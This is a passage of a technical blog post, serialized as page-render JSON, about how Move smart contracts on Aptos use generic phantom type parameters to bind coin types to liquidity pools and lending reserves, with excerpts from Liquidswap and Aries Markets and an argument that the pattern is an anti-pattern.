key",{"type":22,"tag":264,"props":7225,"children":7226},{"style":1539},[7227],{"type":27,"value":4380},{"type":22,"tag":264,"props":7229,"children":7230},{"style":1549},[7231],{"type":27,"value":7232},"store",{"type":22,"tag":264,"props":7234,"children":7235},{"style":1539},[7236],{"type":27,"value":4594},{"type":22,"tag":264,"props":7238,"children":7239},{"class":1534,"line":1560},[7240,7245,7249],{"type":22,"tag":264,"props":7241,"children":7242},{"style":1549},[7243],{"type":27,"value":7244},"      id",{"type":22,"tag":264,"props":7246,"children":7247},{"style":4309},[7248],{"type":27,"value":5785},{"type":22,"tag":264,"props":7250,"children":7251},{"style":1539},[7252],{"type":27,"value":7253}," UID,\n",{"type":22,"tag":264,"props":7255,"children":7256},{"class":1534,"line":1569},[7257,7262,7266,7271,7275,7280],{"type":22,"tag":264,"props":7258,"children":7259},{"style":1549},[7260],{"type":27,"value":7261},"      balance",{"type":22,"tag":264,"props":7263,"children":7264},{"style":4309},[7265],{"type":27,"value":5785},{"type":22,"tag":264,"props":7267,"children":7268},{"style":4722},[7269],{"type":27,"value":7270}," Balance",{"type":22,"tag":264,"props":7272,"children":7273},{"style":1539},[7274],{"type":27,"value":7097},{"type":22,"tag":264,"props":7276,"children":7277},{"style":4722},[7278],{"type":27,"value":7279},"T",{"type":22,"tag":264,"props":7281,"children":7282},{"style":1539},[7283],{"type":27,"value":7284},">\n",{"type":22,"tag":264,"props":7286,"children":7287},{"class":1534,"line":1583},[7288],{"type":22,"tag":264,"props":7289,"children":7290},{"style":1539},[7291],{"type":27,"value":7163},{"type":22,"tag":23,"props":7293,"children":7294},{},[7295],{"type":22,"tag":1699,"props":7296,"children":7297},{},[7298],{"type":27,"value":7299},"sui",{"type":22,"tag":23,"props":7301,"children":7302},{},[7303,7305,7312,7314,7320],{"type":27,"value":7304},"Pulling an example from ",{"type":22,"tag":69,"props":7306,"children":7309},{"href":7307,"rel":7308},"https://pontem.network/",[73],[7310],{"type":27,"value":7311},"Pontem Network's",{"type":27,"value":7313}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":22,"tag":257,"props":7315,"children":7317},{"className":7316},[],[7318],{"type":27,"value":7319},"LiquidityPool",{"type":27,"value":7321}," natively embeds this type information into it's fields.",{"type":22,"tag":618,"props":7323,"children":7325},{"className":4274,"code":7324,"language":4273,"meta":7,"style":7},"    /// Liquidity pool with reserves.\n    struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n        coin_x_reserve: Coin\u003CX>,\n        coin_y_reserve: Coin\u003CY>,\n        // ...\n    }\n",[7326],{"type":22,"tag":257,"props":7327,"children":7328},{"__ignoreMap":7},[7329,7337,7401,7431,7460,7468],{"type":22,"tag":264,"props":7330,"children":7331},{"class":1534,"line":1535},[7332],{"type":22,"tag":264,"props":7333,"children":7334},{"style":4284},[7335],{"type":27,"value":7336},"    /// Liquidity pool with reserves.\n",{"type":22,"tag":264,"props":7338,"children":7339},{"class":1534,"line":1545},[7340,7345,7350,7354,7358,7363,7367,7371,7376,7380,7384,7389,7393,7397],{"type":22,"tag":264,"props":7341,"children":7342},{"style":4293},[7343],{"type":27,"value":7344},"    struct",{"type":22,"tag":264,"props":7346,"children":7347},{"style":4722},[7348],{"type":27,"value":7349}," LiquidityPool",{"type":22,"tag":264,"props":7351,"children":7352},{"style":1539},[7353],{"type":27,"value":7097},{"type":22,"tag":264,"props":7355,"children":7356},{"style":1549},[7357],{"type":27,"value":7102},{"type":22,"tag":264,"props":7359,"children":7360},{"style":4722},[7361],{"type":27,"value":7362}," X",{"type":22,"tag":264,"props":7364,"children":7365},{"style":1539},[7366],{"type":27,"value":4380},{"type":22,"tag":264,"props":7368,"children":7369},{"style":1549},[7370],{"type":27,"value":7102},{"type":22,"tag":264,"props":7372,"children":7373},{"style":4722},[7374],{"type":27,"value":7375}," Y",{"type":22,"tag":264,"props":7377,"children":7378},{"style":1539},[7379],{"type":27,"value":4380},{"type":22,"tag":264,"props":7381,"children":7382},{"style":1549},[7383],{"type":27,"value":7102},{"type":22,"tag":264,"props":7385,"children":7386},{"style":1539},[7387],{"type":27,"value":7388}," LP> ",{"type":22,"tag":264,"props":7390,"children":7391},{"style":1549},[7392],{"type":27,"value":7117},{"type":22,"tag":264,"props":7394,"children":7395},{"style":1549},[7396],{"type":27,"value":7223},{"type":22,"tag":264,"props":7398,"children":7399},{"style":1539},[7400],{"type":27,"value":4594},{"type":22,"tag":264,"props":7402,"children":7403},{"class":1534,"line":1560},[7404,7409,7413,7417,7421,7426],{"type":22,"tag":264,"props":7405,"children":7406},{"style":1549},[7407],{"type":27,"value":7408},"        coin_x_reserve",{"type":22,"tag":264,"props":7410,"children":7411},{"style":4309},[7412],{"type":27,"value":5785},{"type":22,"tag":264,"props":7414,"children":7415},{"style":4722},[7416],{"type":27,"value":7092},{"type":22,"tag":264,"props":7418,"children":7419},{"style":1539},[7420],{"type":27,"value":7097},{"type":22,"tag":264,"props":7422,"children":7423},{"style":4722},[7424],{"type":27,"value":7425},"X",{"type":22,"tag":264,"props":7427,"children":7428},{"style":1539},[7429],{"type":27,"value":7430},">,\n",{"type":22,"tag":264,"props":7432,"children":7433},{"class":1534,"line":1569},[7434,7439,7443,7447,7451,7456],{"type":22,"tag":264,"props":7435,"children":7436},{"style":1549},[7437],{"type":27,"value":7438},"        coin_y_reserve",{"type":22,"tag":264,"props":7440,"children":7441},{"style":4309},[7442],{"type":27,"value":5785},{"type":22,"tag":264,"props":7444,"children":7445},{"style":4722},[7446],{"type":27,"value":7092},{"type":22,"tag":264,"props":7448,"children":7449},{"style":1539},[7450],{"type":27,"value":7097},{"type":22,"tag":264,"props":7452,"children":7453},{"style":4722},[7454],{"type":27,"value":7455},"Y",{"type":22,"tag":264,"props":7457,"children":7458},{"style":1539},[7459],{"type":27,"value":7430},{"type":22,"tag":264,"props":7461,"children":7462},{"class":1534,"line":1583},[7463],{"type":22,"tag":264,"props":7464,"children":7465},{"style":4284},[7466],{"type":27,"value":7467},"        // ...\n",{"type":22,"tag":264,"props":7469,"children":7470},{"class":1534,"line":1603},[7471],{"type":22,"tag":264,"props":7472,"children":7473},{"style":1539},[7474],{"type":27,"value":1674},{"type":22,"tag":23,"props":7476,"children":7477},{},[7478],{"type":27,"value":7479},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":22,"tag":618,"props":7481,"children":7483},{"className":4274,"code":7482,"language":4273,"meta":7,"style":7},"      public fun mint\u003CX, Y, LP>(\n          pool_addr: address,\n          coin_x: Coin\u003CX>,\n          coin_y: Coin\u003CY>\n      ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n          // ...\n\n          let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[7484],{"type":22,"tag":257,"props":7485,"children":7486},{"__ignoreMap":7},[7487,7526,7547,7575,7603,7654,7662,7669],{"type":22,"tag":264,"props":7488,"children":7489},{"class":1534,"line":1535},[7490,7495,7500,7505,7509,7513,7517,7521],{"type":22,"tag":264,"props":7491,"children":7492},{"style":1549},[7493],{"type":27,"value":7494},"      public",{"type":22,"tag":264,"props":7496,"children":7497},{"style":1549},[7498],{"type":27,"value":7499}," fun",{"type":22,"tag":264,"props":7501,"children":7502},{"style":1549},[7503],{"type":27,"value":7504}," mint",{"type":22,"tag":264,"props":7506,"children":7507},{"style":1539},[7508],{"type":27,"value":7097},{"type":22,"tag":264,"props":7510,"children":7511},{"style":4722},[7512],{"type":27,"value":7425},{"type":22,"tag":264,"props":7514,"children":7515},{"style":1539},[7516],{"type":27,"value":4380},{"type":22,"tag":264,"props":7518,"children":7519},{"style":4722},[7520],{"type":27,"value":7455},{"type":22,"tag":264,"props":7522,"children":7523},{"style":1539},[7524],{"type":27,"value":7525},", LP>(\n",{"type":22,"tag":264,"props":7527,"children":7528},{"class":1534,"line":1545},[7529,7534,7538,7543],{"type":22,"tag":264,"props":7530,"children":7531},{"style":1549},[7532],{"type":27,"value":7533},"          pool_addr",{"type":22,"tag":264,"props":7535,"children":7536},{"style":4309},[7537],{"type":27,"value":5785},{"type":22,"tag":264,"props":7539,"children":7540},{"style":1549},[7541],{"type":27,"value":7542}," address",{"type":22,"tag":264,"props":7544,"children":7545},{"style":1539},[7546],{"type":27,"value":4812},{"type":22,"tag":264,"props":7548,"children":7549},{"class":1534,"line":1560},[7550,7555,7559,7563,7567,7571],{"type":22,"tag":264,"props":7551,"children":7552},{"style":1549},[7553],{"type":27,"value":7554},"          coin_x",{"type":22,"tag":264,"props":7556,"children":7557},{"style":4309},[7558],{"type":27,"value":5785},{"type":22,"tag":264,"props":7560,"children":7561},{"style":4722},[7562],{"type":27,"value":7092},{"type":22,"tag":264,"props":7564,"children":7565},{"style":1539},[7566],{"type":27,"value":7097},{"type":22,"tag":264,"props":7568,"children":7569},{"style":4722},[7570],{"type":27,"value":7425},{"type":22,"tag":264,"props":7572,"children":7573},{"style":1539},[7574],{"type":27,"value":7430},{"type":22,"tag":264,"props":7576,"children":7577},{"class":1534,"line":1569},[7578,7583,7587,7591,7595,7599],{"type":22,"tag":264,"props":7579,"children":7580},{"style":1549},[7581],{"type":27,"value":7582},"          coin_y",{"type":22,"tag":264,"props":7584,"children":7585},{"style":4309},[7586],{"type":27,"value":5785},{"type":22,"tag":264,"props":7588,"children":7589},{"style":4722},[7590],{"type":27,"value":7092},{"type":22,"tag":264,"props":7592,"children":7593},{"style":1539},[7594],{"type":27,"value":7097},{"type":22,"tag":264,"props":7596,"children":7597},{"style":4722},[7598],{"type":27,"value":7455},{"type":22,"tag":264,"props":7600,"children":7601},{"style":1539},[7602],{"type":27,"value":7284},{"type":22,"tag":264,"props":7604,"children":7605},{"class":1534,"line":1583},[7606,7611,7615,7619,7623,7628,7632,7637,7641,7645,7650],{"type":22,"tag":264,"props":7607,"children":7608},{"style":1539},[7609],{"type":27,"value":7610},"      )",{"type":22,"tag":264,"props":7612,"children":7613},{"style":4309},[7614],{"type":27,"value":5785},{"type":22,"tag":264,"props":7616,"children":7617},{"style":4722},[7618],{"type":27,"value":7092},{"type":22,"tag":264,"props":7620,"children":7621},{"style":1539},[7622],{"type":27,"value":7097},{"type":22,"tag":264,"props":7624,"children":7625},{"style":4722},[7626],{"type":27,"value":7627},"LP",{"type":22,"tag":264,"props":7629,"children":7630},{"style":1539},[7631],{"type":27,"value":7112},{"type":22,"tag":264,"props":7633,"children":7634},{"style":1549},[7635],{"type":27,"value":7636},"acquires",{"type":22,"tag":264,"props":7638,"children":7639},{"style":4722},[7640],{"type":27,"value":7349},{"type":22,"tag":264,"props":7642,"children":7643},{"style":1539},[7644],{"type":27,"value":4380},{"type":22,"tag":264,"props":7646,"children":7647},{"style":4722},[7648],{"type":27,"value":7649},"EventsStore",{"type":22,"tag":264,"props":7651,"children":7652},{"style":1539},[7653],{"type":27,"value":4594},{"type":22,"tag":264,"props":7655,"children":7656},{"class":1534,"line":1603},[7657],{"type":22,"tag":264,"props":7658,"children":7659},{"style":4284},[7660],{"type":27,"value":7661},"          // ...\n",{"type":22,"tag":264,"props":7663,"children":7664},{"class":1534,"line":1612},[7665],{"type":22,"tag":264,"props":7666,"children":7667},{"emptyLinePlaceholder":17},[7668],{"type":27,"value":4986},{"type":22,"tag":264,"props":7670,"children":7671},{"class":1534,"line":1621},[7672,7677,7681,7686,7690,7695,7699,7703,7708,7712,7716,7720,7724,7729,7734],{"type":22,"tag":264,"props":7673,"children":7674},{"style":4293},[7675],{"type":27,"value":7676},"          let",{"type":22,"tag":264,"props":7678,"children":7679},{"style":1539},[7680],{"type":27,"value":4370},{"type":22,"tag":264,"props":7682,"children":7683},{"style":1549},[7684],{"type":27,"value":7685},"x_reserve_size",{"type":22,"tag":264,"props":7687,"children":7688},{"style":1539},[7689],{"type":27,"value":4380},{"type":22,"tag":264,"props":7691,"children":7692},{"style":1549},[7693],{"type":27,"value":7694},"y_reserve_size",{"type":22,"tag":264,"props":7696,"children":7697},{"style":1539},[7698],{"type":27,"value":4390},{"type":22,"tag":264,"props":7700,"children":7701},{"style":4309},[7702],{"type":27,"value":429},{"type":22,"tag":264,"props":7704,"children":7705},{"style":1549},[7706],{"type":27,"value":7707}," get_reserves_size",{"type":22,"tag":264,"props":7709,"children":7710},{"style":1539},[7711],{"type":27,"value":7097},{"type":22,"tag":264,"props":7713,"children":7714},{"style":4722},[7715],{"type":27,"value":7425},{"type":22,"tag":264,"props":7717,"children":7718},{"style":1539},[7719],{"type":27,"value":4380},{"type":22,"tag":264,"props":7721,"children":7722},{"style":4722},[7723],{"type":27,"value":7455},{"type":22,"tag":264,"props":7725,"children":7726},{"style":1539},[7727],{"type":27,"value":7728},", LP>(",{"type":22,"tag":264,"props":7730,"children":7731},{"style":1549},[7732],{"type":27,"value":7733},"pool_addr",{"type":22,"tag":264,"props":7735,"children":7736},{"style":1539},[7737],{"type":27,"value":5142},{"type":22,"tag":23,"props":7739,"children":7740},{},[7741,7743,7749,7751,7758],{"type":27,"value":7742},"As an aside, this generic type information is implemented at runtime in the ",{"type":22,"tag":257,"props":7744,"children":7746},{"className":7745},[],[7747],{"type":27,"value":7748},"ty_args",{"type":27,"value":7750}," ",{"type":22,"tag":69,"props":7752,"children":7755},{"href":7753,"rel":7754},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[73],[7756],{"type":27,"value":7757},"at the vm level",{"type":27,"value":7759},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":22,"tag":23,"props":7761,"children":7762},{},[7763,7765,7771,7773,7779,7781,7787,7788,7794],{"type":27,"value":7764},"In pseucode, this checks that ",{"type":22,"tag":257,"props":7766,"children":7768},{"className":7767},[],[7769],{"type":27,"value":7770},"coin_x.type",{"type":27,"value":7772}," is equal to ",{"type":22,"tag":257,"props":7774,"children":7776},{"className":7775},[],[7777],{"type":27,"value":7778},"pool.x_type",{"type":27,"value":7780},", and ",{"type":22,"tag":257,"props":7782,"children":7784},{"className":7783},[],[7785],{"type":27,"value":7786},"coin_y.type",{"type":27,"value":7772},{"type":22,"tag":257,"props":7789,"children":7791},{"className":7790},[],[7792],{"type":27,"value":7793},"pool.y_type",{"type":27,"value":210},{"type":22,"tag":23,"props":7796,"children":7797},{},[7798],{"type":27,"value":7799},"This type system has two advantages",{"type":22,"tag":1867,"props":7801,"children":7802},{},[7803,7815],{"type":22,"tag":1871,"props":7804,"children":7805},{},[7806,7808,7813],{"type":27,"value":7807},"It's required. The type parameter ",{"type":22,"tag":1699,"props":7809,"children":7810},{},[7811],{"type":27,"value":7812},"must",{"type":27,"value":7814}," be specified so it's impossible to forget such a constraint",{"type":22,"tag":1871,"props":7816,"children":7817},{},[7818],{"type":27,"value":7819},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":22,"tag":23,"props":7821,"children":7822},{},[7823],{"type":27,"value":7824},"However, this system isn't perfect.",{"type":22,"tag":23,"props":7826,"children":7827},{},[7828,7830,7835],{"type":27,"value":7829},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":22,"tag":242,"props":7831,"children":7832},{},[7833],{"type":27,"value":7834},"an anti-pattern",{"type":27,"value":210},{"type":22,"tag":23,"props":7837,"children":7838},{},[7839,7841,7847],{"type":27,"value":7840},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":22,"tag":257,"props":7842,"children":7844},{"className":7843},[],[7845],{"type":27,"value":7846},"CoinInfo\u003CCoinType>",{"type":27,"value":210},{"type":22,"tag":618,"props":7849,"children":7851},{"className":4274,"code":7850,"language":4273,"meta":7,"style":7},"  fun initialize_internal\u003CCoinType>(\n      // ...\n  ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n      // ...\n\n      assert!(\n          !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n          error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n      );\n",[7852],{"type":22,"tag":257,"props":7853,"children":7854},{"__ignoreMap":7},[7855,7882,7890,7959,7966,7973,7985,8030,8052],{"type":22,"tag":264,"props":7856,"children":7857},{"class":1534,"line":1535},[7858,7863,7868,7872,7877],{"type":22,"tag":264,"props":7859,"children":7860},{"style":1549},[7861],{"type":27,"value":7862},"  fun",{"type":22,"tag":264,"props":7864,"children":7865},{"style":1549},[7866],{"type":27,"value":7867}," initialize_internal",{"type":22,"tag":264,"props":7869,"children":7870},{"style":1539},[7871],{"type":27,"value":7097},{"type":22,"tag":264,"props":7873,"children":7874},{"style":4722},[7875],{"type":27,"value":7876},"CoinType",{"type":22,"tag":264,"props":7878,"children":7879},{"style":1539},[7880],{"type":27,"value":7881},">(\n",{"type":22,"tag":264,"props":7883,"children":7884},{"class":1534,"line":1545},[7885],{"type":22,"tag":264,"props":7886,"children":7887},{"style":4284},[7888],{"type":27,"value":7889},"      // ...\n",{"type":22,"tag":264,"props":7891,"children":7892},{"class":1534,"line":1560},[7893,7898,7902,7906,7911,7915,7919,7924,7929,7933,7937,7941,7946,7950,7954],{"type":22,"tag":264,"props":7894,"children":7895},{"style":1539},[7896],{"type":27,"value":7897},"  )",{"type":22,"tag":264,"props":7899,"children":7900},{"style":4309},[7901],{"type":27,"value":5785},{"type":22,"tag":264,"props":7903,"children":7904},{"style":1539},[7905],{"type":27,"value":4370},{"type":22,"tag":264,"props":7907,"children":7908},{"style":4722},[7909],{"type":27,"value":7910},"BurnCapability",{"type":22,"tag":264,"props":7912,"children":7913},{"style":1539},[7914],{"type":27,"value":7097},{"type":22,"tag":264,"props":7916,"children":7917},{"style":4722},[7918],{"type":27,"value":7876},{"type":22,"tag":264,"props":7920,"children":7921},{"style":1539},[7922],{"type":27,"value":7923},">, ",{"type":22,"tag":264,"props":7925,"children":7926},{"style":4722},[7927],{"type":27,"value":7928},"FreezeCapability",{"type":22,"tag":264,"props":7930,"children":7931},{"style":1539},[7932],{"type":27,"value":7097},{"type":22,"tag":264,"props":7934,"children":7935},{"style":4722},[7936],{"type":27,"value":7876},{"type":22,"tag":264,"props":7938,"children":7939},{"style":1539},[7940],{"type":27,"value":7923},{"type":22,"tag":264,"props":7942,"children":7943},{"style":4722},[7944],{"type":27,"value":7945},"MintCapability",{"type":22,"tag":264,"props":7947,"children":7948},{"style":1539},[7949],{"type":27,"value":7097},{"type":22,"tag":264,"props":7951,"children":7952},{"style":4722},[7953],{"type":27,"value":7876},{"type":22,"tag":264,"props":7955,"children":7956},{"style":1539},[7957],{"type":27,"value":7958},">) {\n",{"type":22,"tag":264,"props":7960,"children":7961},{"class":1534,"line":1569},[7962],{"type":22,"tag":264,"props":7963,"children":7964},{"style":4284},[7965],{"type":27,"value":7889},{"type":22,"tag":264,"props":7967,"children":7968},{"class":1534,"line":1583},[7969],{"type":22,"tag":264,"props":7970,"children":7971},{"emptyLinePlaceholder":17},[7972],{"type":27,"value":4986},{"type":22,"tag":264,"props":7974,"children":7975},{"class":1534,"line":1603},[7976,7981],{"type":22,"tag":264,"props":7977,"children":7978},{"style":4401},[7979],{"type":27,"value":7980},"      assert!",{"type":22,"tag":264,"props":7982,"children":7983},{"style":1539},[7984],{"type":27,"value":4767},{"type":22,"tag":264,"props":7986,"children":7987},{"class":1534,"line":1612},[7988,7993,7998,8002,8007,8011,8015,8020,8025],{"type":22,"tag":264,"props":7989,"children":7990},{"style":4309},[7991],{"type":27,"value":7992},"          !",{"type":22,"tag":264,"props":7994,"children":7995},{"style":1549},[7996],{"type":27,"value":7997},"exists",{"type":22,"tag":264,"props":7999,"children":8000},{"style":1539},[8001],{"type":27,"value":7097},{"type":22,"tag":264,"props":8003,"children":8004},{"style":4722},[8005],{"type":27,"value":8006},"CoinInfo",{"type":22,"tag":264,"props":8008,"children":8009},{"style":1539},[8010],{"type":27,"value":7097},{"type":22,"tag":264,"props":8012,"children":8013},{"style":4722},[8014],{"type":27,"value":7876},{"type":22,"tag":264,"props":8016,"children":8017},{"style":1539},[8018],{"type":27,"value":8019},">>(",{"type":22,"tag":264,"props":8021,"children":8022},{"style":1549},[8023],{"type":27,"value":8024},"account_addr",{"type":22,"tag":264,"props":8026,"children":8027},{"style":1539},[8028],{"type":27,"value":8029},"),\n",{"type":22,"tag":264,"props":8031,"children":8032},{"class":1534,"line":1621},[8033,8038,8042,8047],{"type":22,"tag":264,"props":8034,"children":8035},{"style":1539},[8036],{"type":27,"value":8037},"          error",{"type":22,"tag":264,"props":8039,"children":8040},{"style":4309},[8041],{"type":27,"value":4785},{"type":22,"tag":264,"props":8043,"children":8044},{"style":4401},[8045],{"type":27,"value":8046},"already_exists",{"type":22,"tag":264,"props":8048,"children":8049},{"style":1539},[8050],{"type":27,"value":8051},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":22,"tag":264,"props":8053,"children":8054},{"class":1534,"line":1629},[8055],{"type":22,"tag":264,"props":8056,"children":8057},{"style":1539},[8058],{"type":27,"value":8059},"      );\n",{"type":22,"tag":23,"props":8061,"children":8062},{},[8063,8065,8070],{"type":27,"value":8064},"While this ",{"type":22,"tag":257,"props":8066,"children":8068},{"className":8067},[],[8069],{"type":27,"value":8006},{"type":27,"value":8071}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":22,"tag":23,"props":8073,"children":8074},{},[8075,8077,8084],{"type":27,"value":8076},"Similarly, consider ",{"type":22,"tag":69,"props":8078,"children":8081},{"href":8079,"rel":8080},"https://ariesmarkets.xyz/",[73],[8082],{"type":27,"value":8083},"Aries Markets",{"type":27,"value":8085},", a lending/borrowing protocol building on Aptos.",{"type":22,"tag":23,"props":8087,"children":8088},{},[8089,8091,8097],{"type":27,"value":8090},"Their ",{"type":22,"tag":257,"props":8092,"children":8094},{"className":8093},[],[8095],{"type":27,"value":8096},"ReserveCoinContainer",{"type":27,"value":8098}," struct stores all the relevant data and resources for managing a lending market.",{"type":22,"tag":618,"props":8100,"children":8102},{"className":4274,"code":8101,"language":4273,"meta":7,"style":7},"  /// The struct to hold all the underlying `Coin`s.\n  /// Stored as a resources.\n  struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n      /// Stores the available `Coin`.\n      underlying_coin: Coin\u003CCoin0>,\n      /// Stores the LP `Coin` that act as collateral.\n      collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n      /// Mint capability for LP Coin.\n      mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n      /// Burn capability for LP Coin.\n      burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n      // ...\n  }\n\n",[8103],{"type":22,"tag":257,"props":8104,"children":8105},{"__ignoreMap":7},[8106,8114,8122,8163,8171,8200,8208,8245,8253,8290,8298,8335,8342,8349],{"type":22,"tag":264,"props":8107,"children":8108},{"class":1534,"line":1535},[8109],{"type":22,"tag":264,"props":8110,"children":8111},{"style":4284},[8112],{"type":27,"value":8113},"  /// The struct to hold all the underlying `Coin`s.\n",{"type":22,"tag":264,"props":8115,"children":8116},{"class":1534,"line":1545},[8117],{"type":22,"tag":264,"props":8118,"children":8119},{"style":4284},[8120],{"type":27,"value":8121},"  /// Stored as a resources.\n",{"type":22,"tag":264,"props":8123,"children":8124},{"class":1534,"line":1560},[8125,8129,8134,8138,8142,8147,8151,8155,8159],{"type":22,"tag":264,"props":8126,"children":8127},{"style":4293},[8128],{"type":27,"value":7087},{"type":22,"tag":264,"props":8130,"children":8131},{"style":4722},[8132],{"type":27,"value":8133}," ReserveCoinContainer",{"type":22,"tag":264,"props":8135,"children":8136},{"style":1539},[8137],{"type":27,"value":7097},{"type":22,"tag":264,"props":8139,"children":8140},{"style":1549},[8141],{"type":27,"value":7102},{"type":22,"tag":264,"props":8143,"children":8144},{"style":4722},[8145],{"type":27,"value":8146}," Coin0",{"type":22,"tag":264,"props":8148,"children":8149},{"style":1539},[8150],{"type":27,"value":7112},{"type":22,"tag":264,"props":8152,"children":8153},{"style":1549},[8154],{"type":27,"value":7117},{"type":22,"tag":264,"props":8156,"children":8157},{"style":1549},[8158],{"type":27,"value":7223},{"type":22,"tag":264,"props":8160,"children":8161},{"style":1539},[8162],{"type":27,"value":4594},{"type":22,"tag":264,"props":8164,"children":8165},{"class":1534,"line":1569},[8166],{"type":22,"tag":264,"props":8167,"children":8168},{"style":4284},[8169],{"type":27,"value":8170},"      /// Stores the available `Coin`.\n",{"type":22,"tag":264,"props":8172,"children":8173},{"class":1534,"line":1583},[8174,8179,8183,8187,8191,8196],{"type":22,"tag":264,"props":8175,"children":8176},{"style":1549},[8177],{"type":27,"value":8178},"      underlying_coin",{"type":22,"tag":264,"props":8180,"children":8181},{"style":4309},[8182],{"type":27,"value":5785},{"type":22,"tag":264,"props":8184,"children":8185},{"style":4722},[8186],{"type":27,"value":7092},{"type":22,"tag":264,"props":8188,"children":8189},{"style":1539},[8190],{"type":27,"value":7097},{"type":22,"tag":264,"props":8192,"children":8193},{"style":4722},[8194],{"type":27,"value":8195},"Coin0",{"type":22,"tag":264,"props":8197,"children":8198},{"style":1539},[8199],{"type":27,"value":7430},{"type":22,"tag":264,"props":8201,"children":8202},{"class":1534,"line":1603},[8203],{"type":22,"tag":264,"props":8204,"children":8205},{"style":4284},[8206],{"type":27,"value":8207},"      /// Stores the LP `Coin` that act as collateral.\n",{"type":22,"tag":264,"props":8209,"children":8210},{"class":1534,"line":1612},[8211,8216,8220,8224,8228,8232,8236,8240],{"type":22,"tag":264,"props":8212,"children":8213},{"style":1549},[8214],{"type":27,"value":8215},"      collateralised_lp_coin",{"type":22,"tag":264,"props":8217,"children":8218},{"style":4309},[8219],{"type":27,"value":5785},{"type":22,"tag":264,"props":8221,"children":8222},{"style":4722},[8223],{"type":27,"value":7092},{"type":22,"tag":264,"props":8225,"children":8226},{"style":1539},[8227],{"type":27,"value":7097},{"type":22,"tag":264,"props":8229,"children":8230},{"style":4722},[8231],{"type":27,"value":7627},{"type":22,"tag":264,"props":8233,"children":8234},{"style":1539},[8235],{"type":27,"value":7097},{"type":22,"tag":264,"props":8237,"children":8238},{"style":4722},[8239],{"type":27,"value":8195},{"type":22,"tag":264,"props":8241,"children":8242},{"style":1539},[8243],{"type":27,"value":8244},">>,\n",{"type":22,"tag":264,"props":8246,"children":8247},{"class":1534,"line":1621},[8248],{"type":22,"tag":264,"props":8249,"children":8250},{"style":4284},[8251],{"type":27,"value":8252},"      /// Mint capability for LP Coin.\n",{"type":22,"tag":264,"props":8254,"children":8255},{"class":1534,"line":1629},[8256,8261,8265,8270,8274,8278,8282,8286],{"type":22,"tag":264,"props":8257,"children":8258},{"style":1549},[8259],{"type":27,"value":8260},"      mint_capability",{"type":22,"tag":264,"props":8262,"children":8263},{"style":4309},[8264],{"type":27,"value":5785},{"type":22,"tag":264,"props":8266,"children":8267},{"style":4722},[8268],{"type":27,"value":8269}," MintCapability",{"type":22,"tag":264,"props":8271,"children":8272},{"style":1539},[8273],{"type":27,"value":7097},{"type":22,"tag":264,"props":8275,"children":8276},{"style":4722},[8277],{"type":27,"value":7627},{"type":22,"tag":264,"props":8279,"children":8280},{"style":1539},[8281],{"type":27,"value":7097},{"type":22,"tag":264,"props":8283,"children":8284},{"style":4722},[8285],{"type":27,"value":8195},{"type":22,"tag":264,"props":8287,"children":8288},{"style":1539},[8289],{"type":27,"value":8244},{"type":22,"tag":264,"props":8291,"children":8292},{"class":1534,"line":1642},[8293],{"type":22,"tag":264,"props":8294,"children":8295},{"style":4284},[8296],{"type":27,"value":8297},"      /// Burn capability for LP Coin.\n",{"type":22,"tag":264,"props":8299,"children":8300},{"class":1534,"line":1660},[8301,8306,8310,8315,8319,8323,8327,8331],{"type":22,"tag":264,"props":8302,"children":8303},{"style":1549},[8304],{"type":27,"value":8305},"      burn_capability",{"type":22,"tag":264,"props":8307,"children":8308},{"style":4309},[8309],{"type":27,"value":5785},{"type":22,"tag":264,"props":8311,"children":8312},{"style":4722},[8313],{"type":27,"value":8314}," BurnCapability",{"type":22,"tag":264,"props":8316,"children":8317},{"style":1539},[8318],{"type":27,"value":7097},{"type":22,"tag":264,"props":8320,"children":8321},{"style":4722},[8322],{"type":27,"value":7627},{"type":22,"tag":264,"props":8324,"children":8325},{"style":1539},[8326],{"type":27,"value":7097},{"type":22,"tag":264,"props":8328,"children":8329},{"style":4722},[8330],{"type":27,"value":8195},{"type":22,"tag":264,"props":8332,"children":8333},{"style":1539},[8334],{"type":27,"value":8244},{"type":22,"tag":264,"props":8336,"children":8337},{"class":1534,"line":1668},[8338],{"type":22,"tag":264,"props":8339,"children":8340},{"emptyLinePlaceholder":17},[8341],{"type":27,"value":4986},{"type":22,"tag":264,"props":8343,"children":8344},{"class":1534,"line":1677},[8345],{"type":22,"tag":264,"props":8346,"children":8347},{"style":4284},[8348],{"type":27,"value":7889},{"type":22,"tag":264,"props":8350,"children":8351},{"class":1534,"line":1686},[8352],{"type":22,"tag":264,"props":8353,"children":8354},{"style":1539},[8355],{"type":27,"value":7163},{"type":22,"tag":23,"props":8357,"children":8358},{},[8359,8361,8366],{"type":27,"value":8360},"When creating a ",{"type":22,"tag":257,"props":8362,"children":8364},{"className":8363},[],[8365],{"type":27,"value":8096},{"type":27,"value":8367},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":22,"tag":618,"props":8369,"children":8371},{"className":4274,"code":8370,"language":4273,"meta":7,"style":7},"  public(friend) fun create\u003CCoin0>(\n      lp_store: &signer,\n      // ...\n  ) acquires Reserves {\n      lp::assert_is_lp_store(signer::address_of(lp_store));\n\n      // ...\n\n      move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n        // 